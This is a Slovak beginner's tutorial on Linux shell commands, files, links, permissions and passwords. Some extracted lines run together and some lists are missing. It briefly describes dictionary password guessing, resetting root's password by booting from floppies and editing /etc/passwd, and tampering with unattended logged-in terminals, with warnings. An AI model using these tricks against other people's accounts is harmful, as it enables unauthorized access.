--------------------- Toto je pokusny subor a obsahuje same bodky . . . . . --more--Prikaz more subor vypise na obrazovku subor tak, aby sa dal pohodlne citat, zobrazi vzdy len jednu stranku. Ak nie je vypisany cely subor, nevypise sa prompt shellu ( shell je zakladny program, ktory interpretuje Vase prikazy ), ale --more-- ( v preklade --viac-- ), co znaci, ze sme este nevideli cely subor. Znakom medzera si mozeme zobrazit dalsiu stranku, znakom b predoslu ( b = back = nazad ). Ked uvidime cely text v subore obsiahnuty, prikaz more ukonci svoju cinnost a opat uvidime prompt shellu. Mozme aj predcasne ukoncit cinnost programu more stlacenim znaku q ( q = quit ).
Ak sa nam niekedy stane, ze nevieme ukoncit program, mozeme pouzit prikaz Ctrl-C, ktory posle aktivnemu programu signal, aby ukoncil svoju cinnost. Niekedy je potrebne zadat prikaz Ctrl-Break.
Zadat prikaz Ctrl-C znamena stlacit klavesu Ctrl resp. Control a kym ju drzime stlacit klavesu C. Uvedomte si, ze hoci v zapise je Ctrl-C, c je v skutocnosti male pismeno.
Prikaz teda uz zadat vieme - napiseme jeho meno a stlacime klavesu <ENTER> alebo klavesu <RETURN>. Ak urobime preklep, mozeme pismenko zmazat klavesou <BACKSPACE> oznacovanou ako sipka dolava <--. Niekedy mozeme pouzit klavesu <DEL> resp. <DELETE>, treba si to odskusat. Popisujem tu hlavne Linux, nevraciam sa preto k starym systemom, u ktorych tieto klavesy neexistovali.
Vratme sa vsak k prikazu more. Vieme uz precitat textovy subor prikazom
$ more /adresar1/subor1Toto funguje, ked sa nachadzame v lubovolnom adresari. Ak sa vsak prepneme prikazom
$ cd /adresar1do adresara /adresar1, potom si subor /adresar1/subor1 ( mimochodom, prve lomitko oznacuje hlavny adresar, dalsie sluzia len na oddelenie jednotlivych adresarov cesty ) mozeme precitat prikazom
$ more subor1Shell zisti, ze na zaciatku mena suboru nie je lomitko predstavujuce hlavny adresar a automaticky dosadi celu cestu z korenoveho uzla do nasho adresara. Pred subor1 teda vlozi /adresar1/ a prikazu more odovzda argument /adresar1/subor1.
Spomenul som, ze program more precita textovy subor. Existuju vari aj ine (ako normalne) typy suborov? Ano. Pozname 3 druhy suborov, textove subory udajov - napriklad tento subor je textovy, binarne subory udajov - su to vacsinou programy, ale aj vsetko ine, co neobsahuje text, napriklad obrazky a specialne subory udajov - specialny subor je ovladac umoznujuci pristupovat k hardware pocitaca, popiseme si ho neskor
Vieme co je MB = megabajt i KB = kilobajt. Co je to ale bajt ? Povedzme si najprv, co je to bit. Bit je minimalna jednotka informacie. Moze to byt 0 alebo 1. Pocitac pocita v bitoch. 1 bajt = 8 bitov. Pocitajme
DESIATKOVA SUSTAVA DVOJKOVA SUSTAVA (BITY)
0 0 1 1 2 10 3 11 4 100 5 101 6 110 7 111 8 1000 9 1001 10 1010Preco pocitace pouzivaju tak divne pocitanie? Pretoze je jednoducho implementovtelne. 1 znamena svieti, 0 znamena nesvieti, 1 znamena ide prud, 0 znamena nejde prud, 1 znamena nabity kondenzator, 0 znamena vybity kondenzator.
UNIX pouziva skrateny ASCII kod na kodovanie znakov ( American Standard Code for Information Interchange ). Znaky su kodovane 8 bitovo, ale textove znaky sa chapu ako 7 bitove. Na disk aj do pamate sa ale zapisuju 8 bitovo. Jednoducho prvy bit je vzdy nulovy ( tyka sa to textovych znakov ). Ak si chceme vypisat obsah nejakeho suboru ( ak ho chceme precitat ), mozeme napisat more subor. Ale beda ! Co ak to nie je textovy subor ? Zobrazi sa nam zmat rozlicnych necitatelnych znakov ( to preto, ze niektore maju nenulovy prvy bit ). V takom pripade rychlo stlacime klavesu q na predcasne ukoncenie vypisu suboru. Ak vsak namiesto vyzvy uvidime podobne cudne znaky a ak aj to, co piseme na klavesnici vyzera nezmyselne, znamena to, ze Linux sa automaticky prepol tak, ze chape kodovanie znakov opacne - zobrazitelne znaky maju prvy bit jednickovy, nezobrazitelne znaky maju prvy bit nulovy. V takomto pripade je jedinou pomocou prikaz
$ resetktory uvedie vsetko do poriadku. Pozor, neurobte preklep, lebo namiesto slova reset uvidite zmat znakov. Po vykonani tohto prikazu sa obrazovka zmaze a vsetko bude znovu v poriadku.
Bezne je obsah obrazovky mozne vymazat prikazom
$ clearpripadne kombinaciou klaves <Ctrl-L> (teda ^L). Tato kombinacia klaves je casto pouzitelna v roznych programoch a sposobi obnovenie povodneho stavu obrazovky. Ak ju pouzijeme napriklad pri praci v shelli, obrazovka terminalu sa vymaze, ale obsah posledneho riadku zostane zachovany.
Vieme, ze sa mozeme do jednotlivych adresarov prepinat prikazom cd. cd /adresar1 nas prepne do adresara adresar1. Zistit, v ktorom adresari sme, mozeme prikazom pwd ( print (the) working directory = vytlac pracovny adresar ):
$ cd /adresar1 $ pwd /adresar1
$Mozno Vam je cudne, ze pwd = vytlac pracovny adresar nema nazov wwd = write the working directory = VYPIS pracovny adresar. To preto, ze UNIX bol povodne pouzivany v spojeni s dalekopisnymi strojmi - a tie naozaj vsetko tlacili na papier. Ak dnes chcete vytlacit subor subor1.txt na papier, musite napisat
$ lpr /adresar1/subor1.txt $Program lpr ( line print = riadkova tlaciaren ) vytlaci subor na tlaciarni.
Skusme teraz vytvorit nejaky adresar. Na to nam posluzi prikaz mkdir ( make directory = urob adresar )
$ cd /adresar1 $ pwd adresar1
$ mkdir Novy_adresar_s_dlhym_nazvom $Tu mozme vyuzit prvu fintu Linuxu, vlastne Linuxovskych shellov - a to shellu /bin/bash alebo /bin/tcsh. Pokial pouzivate Linux, mate s velkou prevdepodobnostou nastaveny bash, pre kompatibilitu vsak niektori pouzivtelia pouzivaju tcsh. Pri beznej cinnosti rozdiel nezbadate, iba keby ste programovali skripty. Ja pouzivam na roznych systemoch rozne shelly. Teraz k spominanej finte. Iste je Vam proti srsti vypisovat vzdy takuto uplnu cestu. Teda pisat
$ cd Novy_adresar_s_dlhym_nazvom $ pwd /adresar1/Novy_adresar_s_dlhym_nazvom $Spominane shelly su schopne za Vas doplnit nazov suboru respektive adresara, ak ich pociatocne pismena jednoznacne identifikuju. Napriklad:
$ cd /adresar1 $ ls Novy_adresar_s_dlhym_nazvom subor1 subor2 $ cd N<TAB> Napisali sme "cd N" a stlacili tabulator $ cd Novy_adresar_s_dlhym_nazvom a shell automaticky doplnil nazov adresara $ pwd /adresar1/Novy_adresar_s_dlhym_nazvom $Druha finta je sipka nahor. Pri jej stlacani sa nam postupne vypisuju na prikazovom riadku ( je to riadok, na ktorom zadavame prikaz ) predosle prikazy, ktore mozeme editovat ( upravovat ) a opatovne spustat stlacenim klavesy <ENTER>. Tak napriklad keby som teraz stlacil sipku nahor, objavil by sa mi vypis:
$ pwda este jedno stlacenie by sposobilo vypis
$ cd Novy_adresar_s_dlhym_nazvomObidve spomenute Linuxovske finty - doplnanie nazvov a historiu prikazov ocenite hlavne pri dlhych a krkolomnych nazvoch ci zlozitych prikazoch.
Aby som bol uplny, shell /bin/tcsh je schopny opravovat Vase preklepy. Ak namiesto more /adresar1/subor1 napiseme
$ mare /adoooor1/sibor1a nastavime sa kurzorom ( to je ten blikajuci podciarknik oznacujuci miesto, kam bude zapisovany dalsi znak vkladany z klavesnice; pohybovat nim mozeme klavesami sipka dolava a sipka doprava ) niekde medzi znaky / a 1 ( prvy a posledny znak argumentu ) a stlacime klavesu <ESC> a <$>, shell za nas opravi cestu k suboru. Podobne by opravil mare na more, ak by sme kurzor nastavili na toto slovo.
Prikaz ls nevypisuje subory, ktorych nazov zacina znakom bodka. Umoznuje to schovat konfiguracne subory. Su to subory ovplyvnujuce chovanie niektorych programov. Program
$ finger Csonto
Login: csonto Name: Julius Csonto Directory: /home/csonto hell: /bin/bash Last login Thu Sep 12 16:06 ( ) on tty3 No mail. No Plan. $vypise udaje o pouzivatelovi, v ktoreho mene sa vyskytuje slovo Csonto a zobrazi ich na monitore ( displayi ). finger bez parametra zobrazi udaje o vsetkych pouzivateloch, ktori prave pracuju na systeme
$ finger
Login Name Tty Idle Login Time Office Office Phone milan Milan Schmotzer 3 12 Sep 15 00:01 milan Milan Schmotzer 2 Sep 14 23:59 root root 1 1 Sep 15 00:08 $Prikaz who zobrazi menej detailne informacie o momentalnych pouzivateloch
$ who
milan tty3 Sep 15 00:01 milan tty2 Sep 14 23:59 root tty1 Sep 15 00:08 $A nakoniec prikaz w zobrazi, kto co robi
$ w
12:13am up 16 min, 3 users, load average: 0.00, 0.00, 0.00 User tty from login@ idle JCPU PCPU what
milan tty3 12:01am w milan tty2 11:59pm vi sysadmin.txt root tty1 12:08am 4 -bash $V tomto pripade bol pouzivatel s pouzivatelskou identifikaciou milan prihlaseny dva-krat - raz na terminali tty2 a raz na tty3. Moze byt naozaj prihlaseny na dvoch terminaloch alebo na niektorom z nich moze byt clovek, ktory pozna jeho heslo. UNIX zatial nema moznost zistovat Vasu totoznost. Pod Vasim menom moze robit hocikto, kto pozna Vase heslo. Preto hovorime o (po)uzivatelskej identifikacii radsej ako o pouzivatelovi. A preto je dolezite neprezradit heslo nikomu. Mohol by vo Vasom mene poslat root-ovi elektronicku postu so znenim
"Trhni si nohou."
A sposobit Vam tak vazne problemy.
Mnohi ludia sa z casu na cas pokusaju lustit cudzie hesla. Jedna z najjednoduchsich metod je postupne sa pokusat prihlasovat pod danym loginom s roznymi heslami alebo zobrat slovnik slov a vyrobit program, ktory bude automaticky doplnat jednotlive slova.
Sokrates 4 Prilis zname ( no kto by skusal prave toto heslo ) hajimemashite 2 Na Slovensku malokto vie po japonsky ( v Japonsku by to bolo 4), ak Vas ale poznaju, mozu rovno skusat japonske slova - a beda Vam ! nemamheslo 3 Relativne tazko rozlustitelne leon 5 Prilis kratke ! 7nAL73imHaCKer 1 Z hladiska rozlustitelnosti, ale tazko zapamatatelne na4^Mx ( 1 Super ! Dlhe a zlozite na odpozeranie, kratke na zapamatanie a medzeru pri lusteni takmer nikto neuvazujeHeslo si nikam nezapisujte ! Mimochodom, ja som tieto pravidla dlhodobo ignoroval a mnozstvo mojich kolegov tiez ( dokonca som svoje heslo prezradil niektorym ludom ). Az som jedneho dna nasiel svoj adresar vybrakovany. Bolo vsak uz pozde.
Ak heslo zabudnete, utekajte za rootom, za systemovym administratorom.
Ak zabudne heslo root, je potrebne zabootovat system z diskiet, primountovat root particiu na disku a vymazat heslo roota v subore /etc/passwd.
Heslo ( password ) nam umozni zmenit prikaz passwd:
$ passwd
Changing password for milan Enter new password: The password must have both upper- and lowercase letters, or non-letters; try again. Enter new password: Re-type new password: Password changed. $Moj prvy pokus bolo heslo 'laskavost', ale system mi ho nedovolil pouzit, pretoze je prilis obycajne - lahko ho mozno odhalit pouzitim slovnika. Samozrejme, system heslo nekontroluje. Ak by som napisal 'lsakvaots', tiez by to ako heslo neprijal, hoci taketo slovo nie je v slovniku ziadneho jazyka. Jednoducho je to pre istotu. System vyzaduje cislice v hesle alebo aspon kombinaciu velkych a malych pismen. Heslo 'lasKaVosT' system prijal. Vsimnite si, ze podobne ako pri prihlasovani, ani teraz sa heslo na monitore nezobrazuje. To preto, aby ho pripadny prizerajuci sa clovek neodpozeral. Kedze vystup na monitore nevidite, je riziko, ze sa pomylite a nevsimnete si to. To by bolo neprijemne ( hlavne ak ste root ), pretoze by sa Vam pri nasledujucom UNIXovom sedeni nepodarilo prihlasit. System si preto vyziada zadanie noveho hesla este raz - je to pre kontrolu. Mimochodom, UNIXovemu sedeniu niekedy hovorime UNIXova relacia.
Ak v sebe mate aspon trosku hackerskej krvi ( v zmysle hacker = skodca ), mozno Vas napadne nasledujuca myslienka:
Ak sa pouzivatel na chvilu vzdiali od terminalu, mozem mu zmenit heslo ? ANO !!! V pripade, ze doteraz nemal heslo, mozete mu ho vytvorit. A co ak heslo mal ? Potom sa Vam to nepodari, pretoze system bude od Vas pytat stare heslo - a to nepoznate. Bez jeho zadania heslo nezmeni, pretoze program passwd si nie je isty, ci sa povodny pouzivatel nevzdialil.
Ak ja najdem opusteny terminal, na ktorom je zjavne niekto prihlaseny, robim nasledujuce cinnosti:
Co teda robit, ak sa potrebujete vzdialit ? ODHLASIT SA ! Ak vsak mate rozrobenu robotu ( povedzme ste konecne po hodine marneho usilia nadviazali spojenie so vzdialenym pocitacom ), mozete pouzit prikaz lock. Prikaz lock je k dispozicii na univerzitnych UNIXoch ( typicky BSD UNIX 4.3 ). V Linuxe ho nenajdete. Ak vsak pracujete na grafickom terminali, bude tam urcite k dispozicii prikaz xlock. Najdete ho napriklad v menu alebo si spustite shell ( cosi ako prikazovy interpret - tu to moze byt skor emulator terminalu, typicky 'xterm' ci 'color xterm' ) a napiste xlock. Tento prikaz spusti screen-saver ( program snaziaci sa chranit obrazovku pred zbytocnym svietenim v case, ked sa terminal nepouziva a ostal zapnuty ) a dovoli sa prihlasit len tomu, kto zada Vase heslo.
Ale predosle informacie patria skor do prirucky hackera, ktoru zverejnim v prilohe. Vratme sa k teme prirucky.
Ak do pouzivatelskeho adresara pridame subor s nazvom .plan s obsahom:
Zdravim Vas, uz ste ma odhalili ?
Vam Oddany
Milan Schmotzerprogram finger zobrazi spravu
$ finger milan
Login: milan Name: Milan Schmotzer Directory: /home/milan Shell: /bin/bash On since Sun Sep 15 00:01 ( ) on tty3 On since Sat Sep 14 23:59 ( ) on tty2 36 seconds idle No mail. Plan: Zdravim Vas, uz ste ma odhalili ? Vam Oddany Milan Schmotzer &Co je sice pekne, ale kopa konfiguracnych suborov by nam pri vypise obsahu adresara prekazala. Preto vacsinou zacinaju bodkou a program ls ich nevypise. Mimochodom informacny subor .plan by mal naozaj vypisat okrem vasej adresy aj plan vasej cinnosti.
Vypisme si VSETKY subory
$ pwd /adresar1/Novy_adresar_s_dlhym_nazvom $ ls -a . . . $Ak parameter zacina znakom -, ide o prepinac. Prepinac blizsie urcuje (pozmenuje) chovanie prikazu. My sme pouzili prepinac a (All = vsetky), aby sme donutili prikaz ls vypisat vsetky subory v danom adresari. Ale odkial sa vzali subory s nazvami "." a ".." ? Vytvoril ich prikaz mkdir. Nazov suboru . oznacuje sucasny (aktualny) adresar, nazov .. oznacuje nadradeny adresar. (Nezabudnite, ze adresar je tiez subor.) Naco je to dobre ? Ako skratka. Ked som v adresari /adresar1/adresar/adresy/uvxyz a chcem sa prepnut do adresara /adresar1/adresar/adresy, mam dve moznosti
$ cd /adresar1/adresar/adresyalebo vyuzijem skratku
$ cd ..Vyhoda je jasna.
Okrem prepinaca a pre nas moze byt zaujimavy aj prepinac F, ktory vo vypise rozlisi nazvy adresarov a suborov. Vacsinou tak, ze za nazov adresara prida znak hviezdicka.
Pred chvilou som spomenul, ze pouzivatel milan si vo SVOJOM adresari spravi subor .plan. Existuje vari nejaky milanov adresar ? Ano. Pri zaradeni novej pouzivatelskej identifikacie do systemu sa vytvori jeden riadok v subore /etc/passwd. Pri pridani pouzivatelskej identifikacie milan sa do /etc/passwd prida riadok:
milan:i123cUADg428:501:100:Milan Schmotzer:/home/milan:/bin/bashv ktorom su jednotlive polozky oddelene dvojbodkou a znamenaju
milan pouzivatelska identifikacia
i123cUADg428 heslo zasifrovane tak komplikovane, ze ani spravca systemu ( root ) nema prostriedky na jeho desifrovanie
501 UID = User Idnetifikation Number = identifikacne cislo pouzivatela - Linux pouzivatelov identifikuje cislom, nie menom
100 GID = Group Identifikation number = identifikacne cislo ( pracovnej ) skupiny, v Linuxe 100 = skupina users
Milan Schmotzer meno
/home/milan domovsky adresar
/bin/bash zvoleny shell ( interpreter prikazov )Okrem zaradenia tohto riadku do suboru /etc/passwd sa pre milana vytvori adresar /home/milan a prekopiruje sa don niekolko konfiguracnych suborov.
Ked sa milan prihlasi, vzdy bude automaticky prepnuty do tohto adresara. Tento adresar mu PATRI, moze ho dokonca aj vymazat. Moze si v nom vytvorit vlastny podstrom adresarov - bude to jeho sukromny suborovy system adresarov. Na jednotlive svoje subory aj adresare povoluje alebo zakazuje prava. V adresari /home su v Linuxe pouzivatelia ( v inych systemoch mozu byt v adresari /usr alebo /user ), teda su tam ich domovske adresare.
Pristupove prava sa zistuju s ohladom na vlastnika ( user ), skupinu ( group ), do ktorej vlastnik patri a ostatnych ( others ).
Milan nemoze vojst do adresara /root. Ten patri spravcovi systemu a vacsinou je nepristupny.
Do ostatnych adresarov mimo podstromu adresarov jeho domaceho adresara vacsinou obycajny pouzivatel vojst moze, ale nemoze v nich nic menit. To je dolezite, ved napriklad vyazanim suboru passwd v adresari /etc ( teda suboru /etc/passwd ) by znemoznil prihlasovanie ostatnym pouzivatelom.
Tieto obmedzenia sa netykaju roota = spravcu systemu ( casto byva oznacovany aj ako superpouzivatel ci superuzivatel = super user ). Ked sa niekto prihlasi ako pouzivatelska identifikacia root a preukaze sa adekvatnym heslom, system nebude kontrolovat jeho pristupove prava ( predpoklada sa, ze nebude likvidovat systemove subory, nevyhnutne pre chod systemu ). Je to nevyhnutne kvoli instalacii programov, pridavaniu pouzivatelov, ich odstranovaniu, kvoli zmene hesla zabudlivych pouzivatelov atd.
Obycajny pouzivatel sa smie piplat len vo svojom domovskom adresari a v adresari /tmp, do ktoreho sa ukladaju temporary files ( docasne subory ). Aby pouzivatel na disku nezaberal strasne vela miesta, casto je nahodena KVOTA - obmedzenie poctu byteov, ktore smu dohromady zaberat pouzivatelove subory. Ci existuje ako aj jej momentalny stav zistime prikazom
$ quota
bash: quota: command not found &Ja som na moj system kvoty nenainstaloval. Ak by som tento program nahodil, ale nepovolil, dostal by som asi takuto hlasku
$ quota
There are no quotas on this system &Mam stastie, na danom systeme nie su kvoty.
A ak by kvoty existovali, dostal by som informacie o tom, kolko zaberaju moje subory na disku a aka je maximalna povolena hranica. Kolko miesta zabera adresar so vsetkymi podadresarmi na disku zistime prikazom du adresar. Napriklad
$ du /etc
4 /etc/skel/.term 8 /etc/skel 1 /etc/lilo 9 /etc/default 1 /etc/fs 42 /etc/rc.d 8 /etc/vga 1 /etc/ppp 5 /etc/msgs 10 /etc/backup 480 /etc &Vypis je pre kazdy podadresar uvedeneho adresara a nakoniec pre samotny adresar. Adresar /etc dokopy zabera 480 byteov.
Pre vypis sucasneho adresara mozeme napisat skratkovy tvar.
$ cd /home/milan/txt $ du . 67 . $Ale staci aj du bez argumenu ( podobne ako ls, ak nedostane argument, automaticky predpoklada, ze prikaz sa tyka AKTUALNEHO adresara )
$ du 67 . $Takisto mozeme pisat
$ ls .
poznamky.txt sysadmin.txt vediet.txt vi.txt &Shell za "." dosadi cestu do daneho adresara, ktora jednoznacne identifikuje adresar. Nazov suboru je tvoreny celou cestou + nazvom v poslednom adresari. To umoznuje, aby sa v roznych adresaroch mohli nachadzat subory s rovnakym nazvom a rovnakym ale aj roznym obsahom.
Kopiu suboru spravi program cp.
$ mkdir pokus vytvorime pokusny adresar
$ cp sysadmin.txt pokus prekopirujeme subor sysadmin.txt do adresara pokus
$ ls pokus je subor naozaj tam ? sysadmin.txt ano, je
$ cp sysadmin.txt pokus/ja prekopirujeme subor sysadmin.txt do adresara pokus do suboru s nazvom ja ( ak existuje, bude prepisany, inak sa vytvori )
$ cd pokus prepnime sa do adresara pokus
$ cp ../sysadmin.txt ja zopakujme predosly kopirovaci prikaz - shell za ".." dosadi /home/milan/txt
$ cp ../sysadmin.txt ./ja znovu to iste v inej notacii
$ cd ../../../.. je to to iste ako cd /
$ cd ~/txt/pokus ~ je skratka pre moj domovsky adresar
$ ls ~csonto ~csonto je skratka pre domovsky adresar ineho pouzivatela s pouzivatelskou identifikaciou csonto
/bin/ls: /home/csonto: Permission denied &Posledna hlaska znamena, ze nam pouzivatel s pouzivatelskou identifikaciou csonto pristup do svojho podadresara nepovolil.
Kedze adresar obsahuje len nazov suboru a cislo jeho i-uzla, nic nam nebrani v tom, aby sme TOMU ISTEMU suboru priradili NIEKOLKO NAZVOV v tom istom, ale aj roznych adresaroch. Prikaz ls -i vypise cele riadky z adresara ( teraz myslim na to, ze adresar je tiez subor ), teda cisla i-uzla aj nazvy suborov:
$ ls -i 300607 ja 300606 sysadmin.txt $Jadro Linuxu zaalokovalo i-uzly v poradi ako sme kopirovali, t.j. subor ja obsadil i-node s cislom o 1 viac ako subor sysadmin.txt.
Prikaz ls -l vypise dlhu ( long ) informaciu o suboroch.
$ ls -l
-rw-r--r-- 1 milan users 61973 Sep 15 02:15 ja -rw-r--r-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt $V tejto chvili nas zaujima druhy stlpec, ktory hovori, kolko odkazov na dany subor existuje. Vytvorme novy odkaz prikazom ln ( link )
$ ln sysadmin.txt novy.txt $ ls -i
300607 ja 300606 novy.txt 300606 sysadmin.txt $Vidime, ze subory novy.txt aj sysadmin.txt ukazuju na ten isty i-node. Nejedna sa teda o kopiou, ale o totozny subor. Ak je adresar, v ktorom chceme vytvorit linku, na jednej particii disku a subor, na ktory chceme linku vytvorit, je na inej particii, taketo linky ( zvane hard ) sa nam vytvorit nepodari. Potom treba urobit symbolicku linku:
$ ln -s novsi.txt novy.txt $ ls -i
300607 ja 300608 novsi.txt 300606 novy.txt 300606 sysadmin.txt $Vidime, ze symbolicka linka obsadila dalsi i-node ( a az ten ukazuje na subor novsi.txt ). Vyhoda symbolickych liniek je v tom, ze mozu odkazovat na zatial neexistujuci subor.
Subor premenujeme prikazom mv:
$ mv ja ty $ ls
novsi.txt novy.txt sysadmin.txt ty $Prikaz mv v skutocnosti presuva subor. Nie vsak fyzicky, vymaze iba odkaz na i-node v jednom adresari a novy odkaz zapise do druheho - tym logicky premiestni subor v (myslenom adresarovom) strome suborov. Prikaz
$ mv ty .. $presunie subor ty do rodicovskeho adresara. Prikaz
$ mv ty ../naozaj_ty $presunie subor ty do rodicovskeho (nadradreneho) adresara a umiestni ho tam pod menom naozaj_ty.
A konecne prikaz rm vymaze subor (zrusi odkaz v adresari na i-node; ak na i-node existuje viacero odkazov, subor zruseny nebude):
$ ls
novy.txt novy_subor.txt sysadmin.txt $ rm novy.txt novy_subor.txt $ ls
sysadmin.txt $Prikaz ls -F zobrazi nielen nazvy suborov a adresarov, ale aj naznaci, ci ide o subor alebo o adresar
$ cd /home/milan/txt $ ls -F
pokus/ poznamky.txt sysadmin.txt vediet.txt vi.txt $Lomitko za nazvom pokus naznacuje, ze ide o adresar. Skusme ho vymazat prikazom rmdir (remove directory = vymaz adresar)
$ rmdir pokus
rmdir: pokus: Directory not empty $Prikaz rmdir odmietol vymazat adresar - nie je prazdny ( obsahuje ine polozky, nez "." a ".." ). Najprv ich teda treba vymazat, az potom je mozne vymazat adresar. Nesmieme sa vsak v nom nachadzat. Je aj jednoduchsia moznost, ako vymazat aj neprazdny adresar. Prikaz
$ rm -r pokus $rekurzivne vymaze uvedeny adresar aj s celym jeho podstromom. Prikaz rm -rf vymaze aj subory, ktore maju zakazane mazanie. Tento prikaz je velmi nebezpecny ! Neexistuje moznost obnovy suboru po jeho vymazani ! Je preto rozumne pouzivat prepinac -i = interaktivne vymazavanie, pri jeho pouziti sa prikaz rm pyta, ci ma jednotlive subory a adresare naozaj vymazat.
$ pwd /home/milan/txt $ rm -rfi pokus rm: descend directory `pokus'? y rm: remove `pokus/sysadmin.txt'? y rm: remove directory `pokus'? y $Kazde vymazanie potrebovalo odpoved y.
Ako je vlastne mozne, ze napiseme ls a system spusta program s tymto nazvom ? System ho jednoducho hlada v standardnych adresaroch /bin a /usr/bin a ak ho nenajde, hlada v aktualnom adresari. Takto je to v Linuxe ( v niektorych inych UNIXovych systemoch sa najprv hlada v aktualnom adresari, az potom v ostatnych ).
Doteraz preberane prikazy boli
Co sa stane, ak zadame nazov neexistujuceho programu ? Shell subor s tymto nazvom nenajde a vyhlasi chybu ( nic strasne sa v skutocnosti nestalo )
$ abrakadabra bash: abrakadabra: command not found $Mnou pouzivany shell bash subor s tymto nazvom nenasiel. Mimochodom, ako shell vie, v ktorych adresaroch programy hladat ? Zisti si to z premennej shellu s nazvom PATH. Mozeme si jej obsah vypisat:
$ echo $PATH /usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/andrew/bin:/usr/openwin/bin: /usr/local/eclipse/bin/i386_linux_elf:/usr/games:. $Vidime, ze bodka oznacujuca aktualny adresar sa naozaj nachadza az ako posledna.
Prikaz echo vypise na obrazovku svoje argumenty oddelene medzerou:
$ echo I am not Michael Jackson I am not Michael Jackson $$PATH vypise obsah premennej PATH, ale ak ho zadame priamo ( bez prikazu echo ), shell sa pokusi najst subor /usr/local/bin:/bin:/usr/bin atd. a nenajde ho. Aj prompt je nastaveny v premennej shellu, vypisme si ho:
$ echo $PS1 $ $Zmenme "$ " na nieco krajsie
$ PS1="Ahoj Milan, zadaj prikaz: " ; export PS1
Ahoj Milan, zadaj prikaz:A novy prompt je omnoho krajsi. Toto nastavovanie je typicke pre shell bash. Bodkociarka umoznuje prakticky vo vsetkych shelloch zadat viacero prikazov na jednom riadku. Premenna=Hodnota nastavi premennu shellu na danu hodnotu. Prikaz export ju exportuje, t.j. ak shell spusti iny program ( ak napisete bash, mozete spustit novy proces shellu, stary bude na Vas cakat ) a my novemu programu nastavime externu premennu, nastavenie v starom shelli sa neuskutocni ( novy program totiz dostal kopie premennych shellu ). Prikaz export nastavi novu hodnotu danej premennej VSETKYM programom daneho sedenia.
Ktore premenne existuju a ako su nastavene, umoznuje zistit prikaz set.
V shelli tcsh je vsetko inac - premena sa nastavi prikazom
$ setenv premenna hodnota $a nie je ju potrebne exportovat. Hodnoty premennych zisti prikaz setenv bez argumentov.
Zmenit default shell ( t.j. shell, ktory sa ma automaticky spustat po prihlaseni ) umoznuje prikaz chsh ( CHange the SHell = zmen shell )
$ chsh Changing shell for milan. New shell [/bin/bash]: /bin/tcsh Shell changed. $Prikaz chfn zmeni udaje o pouzivatelovi pre program finger
$ finger milan
Login: milan Name: Milan Schmotzer Directory: /home/milan Shell: /bin/bash
On since Sat Sep 14 23:59 ( ) on tty2 15 seconds idle On since Sun Sep 15 01:27 ( ) on tty1 No mail. No plan.
$ chfn Changing finger information for milan. Name [Milan Schmotzer]: Office []: Urad Office Phone []: 92348217 Home Phone []: 383842
Finger information changed. $ finger milan
Login: milan Name: Milan Schmotzer Directory: /home/milan Shell: /bin/bash Office: Urad, 92348217 Home Phone: 383842
On since Sat Sep 14 23:59 ( ) on tty2 2 seconds idle On since Sun Sep 15 01:27 ( ) on tty1 No mail. Plan: $Vidime, ze program finger uz uvadza aj moje telefonne cislo a ine udaje. Tieto udaje finger ulozi do suboru s pouzviatelskymi heslami /etc/passwd. Povodny riadok pre mna
milan::501:100:Milan Schmotzer:/home/milan:/bin/bashsa zmenil na
milan::501:100:Milan Schmotzer,Urad,92348217,383842,:/home/milan:/bin/bashAk v Linuxe stlacite kombinaciu klaves Shift-PgUp alebo Shift-PgDn, pohybujete sa po uz preslych castiach obrazovky ( odskusajte a pochopite ).
Nakoniec prikaz
$ mc $zavedie Midnight Commander velmi podobny oblubenemu Norton Commanderu pod systemom MS-DOS.
$ mc -c $zavedie farebnu verziu ( plati pre X-Window, inak sa farebna verzia spusta vzdy ). Presnejsie povedane, nezavedie farebnu verziu, ale prepne Midnight Commandera do farebneho rezimu.
Pokial systemovy administrator nenainstaloval databazu terminalov, t.j. subor /usr/lib/terminfo s popisom terminalov - jeho orezana verzia je dodavana s kniznicou ncurses, mozete mat problem spustit program mc pod grafickym (po)uzivatelskym rozhranim X-Window - v "okne" emulatora najakeho terminalu. Mozete sa pokusit nastavit externu premennu shellu prikazom
$ setenv TERM vt100 $ak pouzivate shell tcsh, alebo prikazom
$ TERM=vt100 ; export TERM $ak pouzivate shell bash a opatovne zadat prikaz mc. Ak mate problemy s pouzitim klaves F1 az F10, mozete ich simulovat tak, ze napriklad namiesto klavesy F1 stlacite <ESC> a potom cislo 1.
$ cd ~milan/txt/pokus $ ls ja sysadmin.txt $ ls -l total 124 -rwxr-xr-- 1 milan users 61973 Sep 15 02:15 ja -rwxr-xr-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt $Tento prikaz na prvom riadku hovori, ze subory v adresari zaberaju dohromady 124 KB ( kilobajtov ) diskoveho priestoru.
Dalej nasleduje tabulka, ktorej druhy stlpec oznacuje pocet liniek odkazujucich na subor. Prikaz rm nevymaze subor, len odstrani linku ( a zmensi pocet odkazov na subor o 1 ). Ak toto cislo klesne na nulu, je to signal pre jadro, ze bloky moze pouzit. I-node je zatial nezmeneny, meni sa az v pripade, ze sa don nieco zapisalo. Teda vymazany subor sa da obnovit. Zatial sa to robi len pomocou niektoreho debuggera disku, co vyzaduje hlboke znalosti struktury disku.
Treti stlpec oznacuje vlastnika suboru, dalsi pracovnu skupinu, do ktorej vlastnik patri, pocet byteov v subore, datum a cas jeho vytvorenia a nazov suboru.
Prve minus v prvom stlpci hovori, ze ide o obycajny subor. d by oznacovalo adresar ( Directory ), c specialny subor znakovy ( Character ), b specialny subor blokovy ( Block ) a l by oznacovalo symbolicku linku ( symbolic Link ).
Dalsie znaky oznacuju prava. Aby sme mali vypis pred ocami,zobrazme si ho este raz
$ ls -l total 124 -rwxr-xr-- 1 milan users 61973 Sep 15 02:15 ja -rwxr-xr-- 1 milan users 61581 Sep 15 02:12 sysadmin.txt $Su to trojice rwx r-x r--.
Prva je pre vlastnika, ten smie subor citat ( read = citaj ), zapisovat don ( write = zapis ), a vykonavat ho - spustat ako program ( execute = vykonaj ). Prvy riadok bol pre vlastnika ( user = pouzivatel ), druhy vypisuje prava pre ostatnych clenov skupiny ( group = skupina ) - u nas vidime, ze skupina nema pravo do suboru zapisovat ( je tam namiesto znaku w iba - ), treti riadok oznacuje prava pre ostatnych ( others ) pouzivatelov, v nasom pripade smu len subor len citat.
